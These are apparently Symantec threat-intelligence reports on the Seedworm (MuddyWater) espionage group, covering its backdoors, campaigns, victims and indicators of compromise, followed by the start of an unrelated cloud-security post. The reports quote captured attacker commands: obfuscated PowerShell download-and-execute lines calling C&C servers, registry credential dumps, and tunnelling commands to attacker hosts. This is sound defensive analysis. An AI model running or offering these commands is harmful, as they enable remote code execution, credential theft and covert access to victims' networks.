Analysts in our DeepSight Managed Adversary and Threat Intelligence (MATI) team have found a new backdoor, Backdoor.Powemuddy, new variants of Seedworm’s Powermud backdoor (aka POWERSTATS), a GitHub repository used by the group to store their scripts, as well as several post-compromise tools the group uses to exploit victims once they have established a foothold in their network.
Tracking an Attack’s Footprints
In September 2018, we found evidence of Seedworm and the espionage group APT28 (aka Swallowtail, Fancy Bear), on a computer within the Brazil-based embassy of an oil-producing nation. Seeing two active groups piqued our interest and, as we began pulling on that one string, we found more clues that led us to uncover new information about Seedworm.
We not only found the initial entry point, but we were able to follow Seedworm’s subsequent activity after the initial infection due to the vast telemetry Symantec has access to via its Global Intelligence Network. Because of this unique visibility, our analysts were able to trace what actions Seedworm took after they got into a network. We found new variants of the Powermud backdoor, a new backdoor (Backdoor.Powemuddy), and custom tools for stealing passwords, creating reverse shells, privilege escalation, and the use of the native Windows cabinet creation tool, makecab.exe, probably for compressing stolen data to be uploaded. DeepSight MATI customers can leverage these unique insights to combat emerging cyber threats.
Seedworm’s motivations are much like many cyber espionage groups that we observe—they seek to acquire actionable information about the targeted organizations and individuals. They accomplish this with a preference for speed and agility over operational security, which ultimately led to our identification of their key operational infrastructure.
Tactics and Tools
Seedworm likely functions as a cyber espionage group to secure actionable intelligence that could benefit their sponsor’s interests. During the operations, the group used tools consistent with those leveraged during past intrusions including Powermud, a custom tool used by the Seedworm group, and customized PowerShell, LaZagne, and Crackmapexec scripts.
The Seedworm group controls its Powermud backdoor from behind a proxy network to hide the ultimate command-and-control (C&C) location. The Seedworm group is the only group known to use the Powermud backdoor.
After compromising a system, typically by installing Powermud or Powemuddy, Seedworm first runs a tool that steals passwords saved in users’ web browsers and email, demonstrating that access to the victim's email, social media, and chat accounts is one of their likely goals. Seedworm then uses open-source tools such as LaZagne and Crackmapexec to obtain Windows authorization credentials. Seedworm uses off-the-shelf, unmodified versions of these tools as well as custom-compiled variants which we have determined are only used by this group.
Shifting Tactics
Since its existence first came to light, we’ve seen Seedworm modify the way it operates. Since early 2017, they have continually updated their Powermud backdoor and other tools to avoid detection and to thwart security researchers analyzing the tools. They’ve also used GitHub to store malware and a handful of publicly available tools, which they then customize to carry out their work.
We have identified multiple online accounts that are likely associated with actors behind the Seedworm operations. The first finding was a public Github repository containing scripts that very closely match those observed in Seedworm operations. An additional link was then made to a persona on Twitter with similar profile data. This Twitter account follows numerous security researchers, including those who have written about the group in the past as well as developers who write the open-source tools they use.
These accounts are likely controlled by the Seedworm group. The Github repository contains a PowerShell script that has been run on victim hosts in activity attributed to Seedworm; there are also numerous Crackmapexec PowerShell commands that match victim host activity.
Choosing to rely on publicly available tools allows Seedworm to quickly update their operations by using code written by others and applying only small customizations. And they appear to adopt some of the most effective and capable tools, several of which—for these reasons—are also used by red team organizations.
Targets and Timeline
We analyzed data on 131 victims that were compromised by Seedworm’s Powermud backdoor from late September to mid-November 2018.
Figure 1. Powermud victims by location
Observed Seedworm victims were located primarily in Pakistan and Turkey, but also in Russia, Saudi Arabia, Afghanistan, Jordan, and elsewhere. Additionally, the group compromised organizations in Europe and North America that have ties to the Middle East.
Figure 2. Middle East Powermud victims
Additionally, during our analysis of Powermud victims, we were able to identify the probable industry sector for 80 of the 131 unique victims. The telecommunications and IT services sectors were the main targets. Entities in these sectors are often "enabling victims" as telecommunications providers or IT services agencies and vendors could provide Seedworm actors with further victims to compromise. Successfully compromising victims in these two industries provides additional clues about the sophistication and skills of the Seedworm group.
Figure 3. Powermud victims by industry
The next most common group of victims was in the oil and gas sector. All 11 victims in this group belong to one Russian firm that is active in the Middle East. Only one of these 11 victims was physically located in Russia; the rest were spread out across North America, the Middle East, Africa, and Asia.
Universities and embassies were the next most common targets. The universities were in the Middle East and the embassies were primarily based in Europe representing Middle East countries. Two major non-governmental organizations (NGOs) were also compromised; we identified seven victims who worked within these global public health organizations.
Symantec has notified the appropriate public and private sector partners regarding Seedworm’s latest targets, tools and techniques..
Protection
The following protections are in place to protect customers against Seedworm attacks:
File-based protection
Backdoor.Powemuddy
Network-based protection
System Infected: W97M.Downloader Activity 44
Web Attack: Malicious Shell Script Download 4
System Infected: Trojan.Backdoor Activity 243
Indicators of Compromise
The following indicators are specific to Seedworm:
Network
104.237.233.60 IP used for reverse shell C&C
78.129.222.56 Powemuddy/Powermud delivery IP
78.129.139.148 Powemuddy C&C
31.171.154.67 Powemuddy C&C
46.99.148.96 former Powemudddy C&C
79.106.224.203 Powemuddy C&C
185.34.16.82 Powemuddy C&C
File names
MD5 File name Comments
f5dee1f9cd47dc7bae468da9732c862e lisfonservice.exe Powemuddy/Powermud
2ae299e3693518104bf194d6257d5be6 lisfonservice.exe Powemuddy/Powermud
54982c616098f6c6fbc48703922f15f4 Lisfon.exe Powemuddy/Powermud
fa200e715e856550c76f729604ebaf57 lisfon.exe Powemuddy/Powermud
e75443a5e825f69c75380b6dc76c6b50 TestService.exe Powemuddy/Powermud
8e3a42371d7af2c7d0bb4036c9fb0fe3 LisfonService.exe Powemuddy/Powermud
f041f96ed1abdcc84157488aa51b62af Win7LisfonService.exe Powemuddy/Powermud
e6e7661efb60b9aea7969a30e17ace19 svchosts.exe Powemuddy
a750e2885ed3c294de148864723f73e3 svchosts.exe Powemuddy
e2ed0be977ab9e50055337ec8eb0ddf4 la.exe LaZagne
989e9dcc2182e2b5903b9acea03be11d cr.exe Crackmapexec
488723b8e56dbaac8ccdc79499037d5f dopass.exe, dodo.exe Browser credential theft tool
837eaad1187fe9fbf91f9bc7c054f5d9 dopass.exe Browser credential theft tool
ddba713c20c232bcd60daf0ffabeffb8 nt.exe, rc.exe Browser credential theft tool
8e94d1cb1ec6ea5b2c29353eb7bb5787 nt.exe, rc.exe Browser credential theft tool
f8902df9fe49a04f101d0bfb41a33028 losi.exe Browser credential theft tool
9bea3eb68ea0c215a17fa69f632d9020 gg.exe, dadi.exe, losi.exe Browser credential theft tool
35c310a1f88e41e777bc2ac4bc5284d9 osport.exe Reverse shell
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Seedworm: Iran-Linked Group Continues to Target Organizations in the Middle East
Group continues to be highly active in 2020, while tentative links to recently discovered PowGoop tool suggest possible retooling.
The Iran-linked espionage group Seedworm (aka MuddyWater) has been highly active in recent months, attacking a wide range of targets, including a large number of government organizations in the Middle East.
Many of the organizations attacked by Seedworm in recent months have also been targeted by a recently discovered tool called PowGoop (Downloader.Covic), suggesting that it is a tool that Seedworm has incorporated into its arsenal. However, at present Symantec, a division of Broadcom (NASDAQ: AVGO), can only make a medium-confidence link between Seedworm and PowGoop.
The recent wave of Seedworm attacks were uncovered by Symantec’s Targeted Attack Cloud Analytics, which leverages advanced machine learning to spot patterns of activity associated with targeted attacks. The activity was reviewed by Symantec’s Threat Hunter team (part of Symantec’s Endpoint Security Complete offering) which linked it to previous Seedworm activity.
Among the things flagged by Cloud Analytics was a registry key called “SecurityHealthCore". The code residing in this registry key is executed by PowerShell from a scheduled task. In all of the organizations where this registry key was found, a known Seedworm backdoor (Backdoor.Mori) was subsequently detected.
Attacks were uncovered against targets in Iraq, Turkey, Kuwait, the United Arab Emirates, and Georgia. In addition to some government entities, organizations in the telecoms and computer services sector were also targeted.
In one such victim, a sample of Backdoor.Mori was dropped and installed as early as December 2019 on a SQL server. Seedworm activity continued until at least July 2020, with the installation of additional hacking tools by the attackers.
Table 1. Backdoor.Mori samples used by Seedworm in one organization
File SHA2 File path Filename Parent file SHA2 Description
fd0b8a09f02319f6127f5d17e3070174d6aa0714fcdd3794a0a732f380f13747 csidl_profile\public iq1.exe Mori backdoor
59d50a7b0a49642c8a85601e1c97edeba0a711cd1c802710f5d3fdc08b2673dd csidl_system_drive\program files\nfc fml.dll fd0b8a09f02319f6127f5d17e3070174d6aa0714fcdd3794a0a732f380f13747 Mori backdoor
4bbcbf1dba0cdd4afa13b62f258aba3aecbcae0f80794b060044a48c499feabc csidl_common_appdata iq5.exe Mori backdoor
881226d3186f4904e8a7cecae3b5690696a74828035caa0041ea07b57aaa4557 csidl_system_drive\program files\nfc fml.dll Mori backdoor
70400207a45e77baf25497219c2b9e725246207f10afe67e15b0c274f8895aa9 csidl_common_appdata Iq3.exe Mori backdoor
8a53d01ca46ec0fab30eb7deab8b083f91a364fcb7f198625e5db2ae43e4cff7 csidl_system_drive\program files\nfc Fml.dll Mori backdoor
During this time, Symantec observed Seedworm performing credential-stealing activities as well as setting up tunnels to its own infrastructure to assist with lateral movement using an open-source tools known as Secure Sockets Funneling (SSF) and Chisel. Seedworm is known to have leveraged Chisel in the past.
Credential stealing
Credential dumping was done by dumping the contents of the Windows Registry to files in the same directories as Seedworm backdoors. Additionally, Seedworm was also observed using Quarks password dumper (Quarks PwDump) to steal local account password hashes.
reg save hklm\system CSIDL_PROFILE\public\system.c
reg save hklm\sam CSIDL_PROFILE\public\sam.c
CSIDL_COMMON_APPDATA\dump.exe --dump-hash-local (sha2: f9c4f95592d0e543bca52f5882eace65fe3bbbb99bcaae6e97000115fb3cb781)
Tunneling back to the attackers’ infrastructure
Seedworm was also observed setting up tunnels to its own infrastructure using Secure Sockets Funneling and Chisel. These tools allow the attackers to configure local and remote port forwarding as well as copying files to compromised machines.
Table 2. Hacking tools used by Seedworm in one organization
File SHA2 File path Filename Parent file SHA2 Description
19ec3f16a42ae58ab6feddc66d7eeecf91d7c61a0ac9cdc231da479088486169 csidl_common_appdata\ssf ssf.exe 5c54bd254b752133577df4d8a901cd37562881cab3bd08aee3475355a9740d89 Secure Sockets Funneling tool
c4599f05a8d44bd315da646064adcf2c90886a705a071f0650ee6d17b739d5c8 csidl_common_appdata\ssf upx-ssf.exe 5c54bd254b752133577df4d8a901cd37562881cab3bd08aee3475355a9740d89 Secure Sockets Funneling tool
ad594fa71852bd5652b0c594d5453155d8da8b6f67fcf63b459190d93adf2d88 csidl_common_appdata chisel.exe Chisel tool
The PowGoop connection
On the same machine where Seedworm was active, a tool known as PowGoop was deployed. This same tool was also deployed against several of the organizations attacked by Seedworm in recent months; however, at present Symantec can only establish a medium-confidence link between PowGoop and Seedworm.
PowGoop, which was first publicly reported on in July 2020, is a loader DLL. It likely arrives in a ZIP file named ‘google.zip’ containing the loader itself and legitimate Google binaries used for side-loading it.
In the same organization as mentioned previously, Symantec observed Seedworm activity which was followed by PowGoop activity just six days later.
Table 3. Mori backdoor and hacking tools used by Seedworm several days before PowGoop was deployed
Timestamp File SHA2 File path Filename Description
30/12/2019 19:00 fd0b8a09f02319f6127f5d17e3070174d6aa0714fcdd3794a0a732f380f13747 csidl_profile\public iq1.exe Mori backoor
20/01/2020 18:23 4bbcbf1dba0cdd4afa13b62f258aba3aecbcae0f80794b060044a48c499feabc csidl_common_appdata iq5.exe Mori backoor
27/05/2020 10:08 19ec3f16a42ae58ab6feddc66d7eeecf91d7c61a0ac9cdc231da479088486169 csidl_common_appdata\ssf ssf.exe Secure Scokets Funneling tool
27/05/2020 10:08 c4599f05a8d44bd315da646064adcf2c90886a705a071f0650ee6d17b739d5c8 csidl_common_appdata\ssf upx-ssf.exe Secure Scokets Funneling tool
27/05/2020 10:37 ad594fa71852bd5652b0c594d5453155d8da8b6f67fcf63b459190d93adf2d88 csidl_common_appdata chisel.exe Chisel tool
27/05/2020 20:49 ad594fa71852bd5652b0c594d5453155d8da8b6f67fcf63b459190d93adf2d88 csidl_common_appdata chisel.exe Chisel tool
01/06/2020 12:10 ad594fa71852bd5652b0c594d5453155d8da8b6f67fcf63b459190d93adf2d88 csidl_common_appdata chisel.exe Chisel tool
10/06/2020 22:55 881226d3186f4904e8a7cecae3b5690696a74828035caa0041ea07b57aaa4557 csidl_system_drive\program files\nfc fml.dll Mori backdoor
23/06/2020 18:04 c4599f05a8d44bd315da646064adcf2c90886a705a071f0650ee6d17b739d5c8 csidl_common_appdata\ssf upx-ssf.exe Secure Scokets Funneling tool
23/06/2020 18:04 19ec3f16a42ae58ab6feddc66d7eeecf91d7c61a0ac9cdc231da479088486169 csidl_common_appdata\ssf ssf.exe Secure Scokets Funneling tool
29/06/2020 14:38 a224cbaaaf43dfeb3c4f467610073711faed8d324c81c65579f49832ee17bda8 CSIDL_COMMON_APPDATA\aidabrunhilde goopdate.dll PowGoop
In the majority of recent infections, PowGoop appears to have been deployed via a remote execution tool known as Remadmin. This tool is used to execute PowerShell to read and decode the contents of a file which is used to execute the contents in memory. It appears this code is used to load PowGoop’s main DLL (goopdate.dll) via rundll32.exe.
powershell -exec bypass "$a=gc C:\WINDOWS\TEMP\ManyaBetta;del C:\WINDOWS\TEMP\ManyaBetta;function Gabrielle($OliviaTomi){$Emlyn = [System.Convert]::FromBase64String($OliviaTomi);return [System.Text.Encoding]::UTF8.GetString($Emlyn);}function Tina($Daisi){$OliviaTomi = [System.Text.Encoding]::UTF8.GetBytes($Daisi);for ($TheresitaNitaChad=0; $TheresitaNitaChad -le $OliviaTomi.count -1; $TheresitaNitaChad++){$OliviaTomi[$TheresitaNitaChad] = $OliviaTomi[$TheresitaNitaChad] - 2;}return [System.Text.Encoding]::UTF8.GetString($OliviaTomi);}function GlyndaMaureen($OliviaTomi){$Rosalinde = Gabrielle $OliviaTomi;$LeonaJolene = Tina $Rosalinde;return $LeonaJolene;};$t =GlyndaMaureen($a);&($ShellId[1] + 'ex') $t;"
A feature of these files is that they have distinctive variable and function naming that resembles human names concatenated together. We have no reason to believe that these are actual people’s names.
On several of the victim machines, a ZIP file called ‘google.zip’ was also found present in the same directory. How the ZIP file arrives on the victim’s computer remains unknown. The ZIP contains a mix of legitimate Google executables and malicious DLL files. A legitimate ‘googleupdate.exe’ file is used to side load PowGoop via rundll32.exe. PowGoop loaders are used to decode and execute the contents of a file called ‘config.txt’. All config.txt files found to date contained PowerShell scripts that download and execute more PowerShell code.
powershell -exec bypass "function bdec($in){$out = [System.Convert]::FromBase64String($in);return [System.Text.Encoding]::UTF8.GetString($out);}function bDec2($szinput){$in = [System.Text.Encoding]::UTF8.GetBytes($szinput);for ($i=0; $i -le $in.count -1; $i++){$in[$i] = $in[$i] - 2;}return [System.Text.Encoding]::UTF8.GetString($in);}function bDd($in){$dec = bdec $in;$temp = bDec2 $dec;return $temp;}$a=get-content " config.txt";$t =bDd $a;&($ShellId[1] + 'ex') $t;"
Rundll32.exe CSIDL_COMMON_APPDATA\andreavania\goopdate.dll,dllregisterserver
In some cases, PowGoop is used to launch ‘Wscript.exe’ to execute an unknown VBS file called ‘v.txt’.
"CSIDL_SYSTEM\wscript.exe" /e:vbs CSIDL_PROFILE\[REDACTED]\documents\v.txt
Similarly, Symantec also observed legitimate tools (openssl.exe) and a downloader tool (ssleay32.dll) present in the same directories used to download additional tools:
CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\georgettaemilee\ssleay32.dll ,DllRegisterServer http://107.173.141.103:443/downloadc.php?key=[REDACTED]
CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\samariaantonina\ssleay32.dll ,DllRegisterServer http://107.173.141.114:443/downloadc.php?key=[REDACTED]
Similar download requests were also observed via PowerShell:
powershell -exec bypass $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;$AaA = "Do";$AaB = " wnloadStr";$AaC = "ing";$s="$AaA$AaB$AaC"('http://23.95.220.166:80/download.php?k=564');$s;"
$V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;start-sleep 10;$s=$V.DownloadString('http://104.168.44.16:443/H6qy8yvXhV69mF8CgpmWwKb1oV19xMqaI');iex($s)
During PowGoop activity, Symantec also observed the attackers using the Secure Sockets Funneling tool as well as Chisel suggesting a link between the two sets of activity.
"CSIDL_PROFILE\[REDACTED]\documents\ussf.exe" -c CSIDL_PROFILE\[REDACTED]\documents\config.txt -F 9900 -p [REDACTED] 107.172.97.172
CSIDL_COMMON_APPDATA\sharp.cmd client 107.175.0.140:443 R:8888:127.0.0.1:9999
CSIDL_COMMON_APPDATA\sharp.cmd server -p [REDACTED] --socks5
Additional links between Seedworm and PowGoop
In several recent Seedworm attacks, PowGoop was used on computers that were also infected with known Seedworm malware (Backdoor.Mori). In addition to this, activity involving Seedworm’s Powerstats (aka Powermud) backdoor appears to have been superseded by DLL side-loading of PowGoop.
Additionally, during PowGoop activity, we also observed the attackers downloading tools and some unknown content from GitHub repos, similar to what has been reported on Seedworm‘s Powerstats in the past.
powershell -exec bypass $e=new-object net.webclient;$e.proxy=[Net.WebRequest]::GetSystemWebProxy();$e.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;$aa=$e.DownloadString('https://gist.githubusercontent.com/ffcommax/24587757d3328672954e4155a45ceb02/raw/58954a192b9f10753ad140128b97e54a663ae443/123.txt');iex($aa)
These patterns of activity beg the question as to whether PowGoop is actually an evolution of Powerstats rather than a completely new tool. To date, there is insufficient evidence to confirm this hypothesis. However, there are several similarities between the tools:
Use of hard-coded GUID tokens and proxy URLs for command and control (C&C) communications
Fetching and executing commands from C&C servers using PowerShell
Some low-confidence similarities in code structure and encoding techniques
While none of this is sufficient to confirm that PowGoop has evolved from Powerstats, Symantec continues to monitor the activity of Seedworm for any additional evidence.
Thanos ransomware link
PowGoop has, in recent weeks, been loosely linked to a variant of ransomware known as Thanos. Thanos is an aggressive form of ransomware which, in addition to encryption, will also attempt to overwrite the master boot record (MBR) of the infected computer.
Our peers at Palo Alto Networks reported that PowGoop was found at a Middle Eastern state-run organization which was also hit by Thanos. This lead to the suspicion that the Thanos attackers were using PowGoop in their attacks; however, Palo Alto could not confirm the connection.
Symantec has not found any evidence of a wiper or ransomware on computers infected with PowGoop. This suggests that either the simultaneous presence of PowGoop and Thanos in one attack was a coincidence or, if the two are linked, that PowGoop is not used exclusively to deliver Thanos.
Symantec uncovered attacks involving PowGoop against organizations in Iraq, Afghanistan, Israel, Turkey, Azerbaijan, Georgia, Cambodia, and Vietnam. Sectors targeted included governments, technology, telecoms, oil and gas, real estate, and education.
Vigilance required
Seedworm has been one of the most active Iran-linked groups in recent months, mounting apparent intelligence-gathering operations across the Middle East. While the connection between PowGoop and Seedworm remains tentative, it may suggest some retooling on Seedworm’s part. Any organizations who do find evidence of PowGoop on their networks should exercise extreme caution and perform a thorough investigation.
Protection
The following protections are in place to protect customers against Seedworm attacks:
File-based protection
Backdoor.Mori
Backdoor.Powemuddy
Downloader.Covic
Network-based protection
System Infected: Trojan.Backdoor Activity 243
Indicators of Compromise
IOC type IOC Description
file_sha2 200e2448b5ea343f8224f1b3945842bc33cedd9a543930d9b0f038508f00fc82 PowGoop/Covic
file_sha2 dbcaf92cef112cc438014df4d70acc4e05d68fcbd1d3d9a946130babe7fb94fd PowGoop/Covic
file_sha2 3621bb900674cd249f3c93a442d06af0a390bf773c26fc0506b568fd9e395d9f PowGoop/Covic
file_sha2 1827f822af72998e2c2e17c1fbc1e97892419ccad0ffe803e38a6f9b3e62ef1a PowGoop/Covic
file_sha2 be202975c100caf7d85ad7e98e38279280e7c63482dd421bbce1495755c75622 PowGoop/Covic
file_sha2 9f4c3cdb011798335258549f5e660dbf65a0f44ed991f12d1fd16c075879c942 PowGoop/Covic
file_sha2 a224cbaaaf43dfeb3c4f467610073711faed8d324c81c65579f49832ee17bda8 PowGoop/Covic
file_sha2 85859c909b1da57733dbf8be36a0aad73b97113914e34f32c478ce75e5511c8d google.zip
file_sha2 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71 Remadmin
file_sha2 c4599f05a8d44bd315da646064adcf2c90886a705a071f0650ee6d17b739d5c8 Secure Sockets Funneling tool
file_sha2 7200e2d151aa73a89311f5dd1b6f41b0aac653b377ee9106a7883ba9120d6985 Secure Sockets Funneling tool
file_sha2 59d50a7b0a49642c8a85601e1c97edeba0a711cd1c802710f5d3fdc08b2673dd Mori backdoor
file_sha2 4bbcbf1dba0cdd4afa13b62f258aba3aecbcae0f80794b060044a48c499feabc Mori backdoor
file_sha2 881226d3186f4904e8a7cecae3b5690696a74828035caa0041ea07b57aaa4557 Mori backdoor
file_sha2 fd0b8a09f02319f6127f5d17e3070174d6aa0714fcdd3794a0a732f380f13747 Mori backdoor
file_sha2 70400207a45e77baf25497219c2b9e725246207f10afe67e15b0c274f8895aa9 Mori backdoor
file_sha2 8a53d01ca46ec0fab30eb7deab8b083f91a364fcb7f198625e5db2ae43e4cff7 Mori backdoor
file_sha2 d3bbb2fee563108345db9d8b6feb72352ea7534798f72757a7e114bf94f2ac78 google.zip
file_sha2 9f2b765ba1361b77307f79d91472e99e142c716e22c410fe528771c233e08822 Mimikatz
file_sha2 950469b0acef00d8074eb1642d153675f07a13ab8eb4acada30c06df0c3261d2 Mimikatz
file_sha2 ad594fa71852bd5652b0c594d5453155d8da8b6f67fcf63b459190d93adf2d88 Chisel
command_line goopdate.dll, dllregisterserver PowGoop/ Covic
remote_ip 104.168.14.116 PowGoop/Covic
remote_ip 185.141.27.156 PowGoop/Covic
remote_ip 107.175.0.140 IP used with Chisel tool
remote_ip 107.173.181.139 IP used with Chisel tool
remote_ip 185.183.96.11 PowGoop/Covic
remote_ip 107.172.97.172 IP used with Secure Socket Funneling tool
remote_ip 192.210.214.83 PowGoop/Covic
remote_ip 107.173.141.103 PowGoop/Covic
remote_ip 107.173.141.114 PowGoop/Covic
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Seedworm: Iranian Hackers Target Telecoms Orgs in North and East Africa
MuddyC2Go framework and custom keylogger used in attack campaign.
Iranian espionage group Seedworm (aka Muddywater) has been targeting organizations operating in the telecommunications sector in Egypt, Sudan, and Tanzania.
Seedworm has been active since at least 2017, and has targeted organizations in many countries, though it is most strongly associated with attacks on organizations in the Middle East. It has been publicly stated that Seedworm is a cyberespionage group that is believed to be a subordinate part of Iran’s Ministry of Intelligence and Security (MOIS).
The attackers used a variety of tools in this activity, which occurred in November 2023, including leveraging the MuddyC2Go infrastructure, which was recently discovered and documented by Deep Instinct. Researchers on Symantec’s Threat Hunter Team, part of Broadcom, found a MuddyC2Go PowerShell launcher in the activity we investigated.
The attackers also use the SimpleHelp remote access tool and Venom Proxy, which have previously been associated with Seedworm activity, as well as using a custom keylogging tool, and other publicly available and living-off-the-land tools.
Attack Chain
The attacks in this campaign occurred in November 2023. Most of the activity we observed occurred on one telecommunications organization. The first evidence of malicious activity was some PowerShell executions related to the MuddyC2Go backdoor.
A MuddyC2Go launcher named “vcruntime140.dll” was saved in the folder “csidl_common_appdata\javax”, which seems to have been sideloaded by jabswitch.exe. Jabswitch.exe is a legitimate Java Platform SE 8 executable.
The MuddyC2Go launcher executed the following PowerShell code to connect to its command-and-control (C&C) server:
tppmjyfiqnqptrfnhhfeczjgjicgegydytihegfwldobtvicmthuqurdynllcnjworqepp;$tppmjyfiqnqptrfnhhfeczjgjicgegydytihegfwldobtvicmthuqurdynllcnjworqepp="tppmjyfiqnqptrfnhhfeczjgjicgegydytihegfwldobtvicmthuqurdynllcnjworqepp";$uri ="http://95.164.38.99:443/HR5rOv8enEKonD4a0UdeGXD3xtxWix2Nf";$response = Invoke-WebRequest -Uri $uri -Method GET -ErrorAction Stop -usebasicparsing;iex $response.Content;
It appears that the variables at the beginning of the code are there for the purposes of attempting to bypass detection by security software, as they are unused and not relevant.
Right after this execution, attackers launched the MuddyC2Go malware using a scheduled task that had previously been created:
"CSIDL_SYSTEM\schtasks.exe" /run /tn "Microsoft\Windows\JavaX\Java Autorun"
The attackers also used some typical commands related to the Impacket WMIExec hacktool:
cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__1698662615.0451615 2>&1
The SimpleHelp remote access tool was also leveraged, connecting to the 146.70.124[.]102 C&C server. Further PowerShell stager execution also occurred, while the attacker also executed the Revsocks tool:
CSIDL_COMMON_APPDATA\do.exe -co 94.131.3.160:443 -pa super -q
The attackers also used a second legitimate remote access tool, AnyDesk, which was deployed on the same computer as Revsocks and SimpleHelp, while PowerShell executions related to MuddyC2Go also occurred on the same machine:
$uri ="http://45.150.64.39:443/HJ3ytbqpne2tsJTEJi2D8s0hWo172A0aT";$response = Invoke-WebRequest -Uri $uri -Method GET -ErrorAction Stop -usebasicparsing;iex $response.Content;
Notably, this organization is believed to have previously been infiltrated by Seedworm earlier in 2023. The primary activity of note during that intrusion was extensive use of SimpleHelp to carry out a variety of activity, including:
Launching PowerShell
Launching a proxy tool
Dumping SAM hives
Using WMI to get drive info
Installing the JumpCloud remote access software
Delivering proxy tools, a suspected LSASS dump tool, and a port scanner.
During that intrusion, it’s believed the attackers used WMI to launch the SimpleHelp installer on the victim network. At the time, this activity couldn’t be definitively linked to Seedworm, but this subsequent activity appears to show that the earlier activity was carried out by the same group of attackers.
In another telecommunications and media company targeted by the attackers, multiple incidents of SimpleHelp were used to connect to known Seedworm infrastructure. A custom build of the Venom Proxy hacktool was also executed on this network, as well as the new custom keylogger used by the attackers in this activity.
In the third organization targeted, Venom Proxy was also used, in addition to AnyDesk and suspicious Windows Scripting Files (WSF) that have been associated with Seedworm activity in the past.
Toolset
The most interesting part of the toolset used in this activity is probably the presence of the MuddyC2Go launcher, which was sideloaded by jabswitch.exe.
The malware reads the C&C URL from the Windows registry value “End” stored inside the key “HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip”. The URL path is read from the “Status” value in the same aforementioned key.
Lastly, the MuddyC2GO launcher executes the following PowerShell command to contact its C&C server and execute the PowerShell code received:
powershell.exe -c $uri ='{C2_URI}';$response = Invoke-WebRequest -UseBasicParsing -Uri $uri -Method GET -ErrorAction Stop;Write-Output $response.Content;iex $response.Content;
The MuddyC2Go framework was first publicly written about in a blog published by Deep Instinct researchers on November 8, 2023. That blog documented its use in attacks on organizations in countries in the Middle East. The researchers said the framework may have been used by Seedworm since 2020. They also said that the framework, which is written in Go, has replaced Seedworm’s previous PhonyC2 C&C infrastructure. This replacement appears to have occurred after the PhonyC2 source code was leaked earlier in 2023. The full capabilities of MuddyC2Go are not yet known, but the executable contains an embedded PowerShell script that automatically connects to Seedworm’s C&C server, which eliminates the need for manual execution by an operator and gives the attackers remote access to a victim machine. Deep Instinct said it was able to link MuddyC2Go to attacks dating back to 2020 due to the unique URL patterns generated by the framework. It also said that the MuddyC2Go servers it observed were hosted at “Stark Industries”, which is a VPS provider that is known to host malicious activity.
Other tools of note used in this activity included SimpleHelp, which is a legitimate remote device control and management tool, for persistence on victim machines. SimpleHelp is believed to have been used in attacks carried out by Seedworm since at least July 2022. Once installed on a victim device, SimpleHelp can constantly run as a system service, which makes it possible for attackers to gain access to the user’s device at any point in time, even after a reboot. SimpleHelp also allows attackers to execute commands on a device with administrator privileges. SimpleHelp is now strongly associated with Seedworm activity and the tool is installed on several of Seedworm’s servers.
Venom Proxy is a publicly available tool that is described as “a multi-hop proxy tool developed for penetration testers.” It is written in Go. It can be used to easily proxy network traffic to a multi-layer intranet, and easily manage intranet nodes. It has been associated with Seedworm since at least mid-2022, with Microsoft describing it as Seedworm’s “tool of choice” in an August 2022 blog. Seedworm tends to use a custom build of Venom Proxy in its activity.
Other tools used in this activity include:
Revsocks - A cross-platform SOCKS5 proxy server program/library written in C that can also reverse itself over a firewall.
AnyDesk - A legitimate remote desktop application. It and similar tools are often used by attackers to obtain remote access to computers on a network.
PowerShell - Seedworm makes heavy use of PowerShell, as well as PowerShell-based tools and scripts in its attacks. PowerShell is a Microsoft scripting tool that can be used to run commands, download payloads, traverse compromised networks, and carry out reconnaissance.
Custom keylogger
Conclusion
Seedworm has long had an interest in telecommunications organizations, as do many groups engaged in cyberespionage activities. However, its strong focus on African organizations in this campaign is notable as, while it has been known to target organizations in Africa in the past, it does generally primarily focus on organizations in countries in the Middle East. That one of the victim organizations in this campaign is based in Egypt is also of note given Egypt’s proximity to Israel, a frequent target of Seedworm.
Seedworm appears to remain focused on using a wide array of living-off-the-land and publicly available tools in its attack chains, no doubt in an effort to remain undetected on victim networks for as long as possible. However, its recent more wide adoption of new C&C infrastructure in the form of MuddyC2Go is notable and shows that the group continues to innovate and develop its toolset when required in order to keep its activity under the radar. While the group uses a lot of living-off-the-land and publicly available tools, it is also capable of developing its own custom tools, such as the custom build of Venom Proxy and the custom keylogger used in this campaign. The group still makes heavy use of PowerShell and PowerShell-related tools and scripts, underlining the need for organizations to be aware of suspicious use of PowerShell on their networks.
The activity observed by Symantec’s Threat Hunter Team took place in November 2023, showing that Seedworm is very much a currently active threat faced by organizations that may be of strategic interest to Iranian threat actors.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
File Indicators
1a0827082d4b517b643c86ee678eaa53f85f1b33ad409a23c50164c3909fdaca – MuddyC2Go DLL launcher
25b985ce5d7bf15015553e30927691e7673a68ad071693bf6d0284b069ca6d6a – Benign Java(TM) Platform SE 8 executable used for sideloading MuddyC2Go DLL
eac8e7989c676b9a894ef366357f1cf8e285abde083fbdf92b3619f707ce292f – Custom keylogger
3916ba913e4d9a46cfce437b18735bbb5cc119cc97970946a1ac4eab6ab39230 – Venom Proxy
Network Indicators
146.70.124[.]102 – SimpleHelp C&C server
94.131.109[.]65 – MuddyC2Go C&C server
95.164.38[.]99 –MuddyC2Go C&C server
45.67.230[.]91 – MuddyC2Go C&C server
45.150.64(.)39 - MuddyC2Go C&C server
95.164.46[.]199 – MuddyC2Go C&C server
94.131.98[.]14 – MuddyC2Go C&C server
94.131.3[.]160 – GoSOCKS5proxy C&C server
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Seeing Through the Clouds: Confronting the Challenges to Cloud Security
Cloud monitoring services can close the gaps
You can’t defend against what you can’t see.
Unfortunately, that’s become a familiar scenario for security professionals as their companies migrate more and more of their business to the cloud.
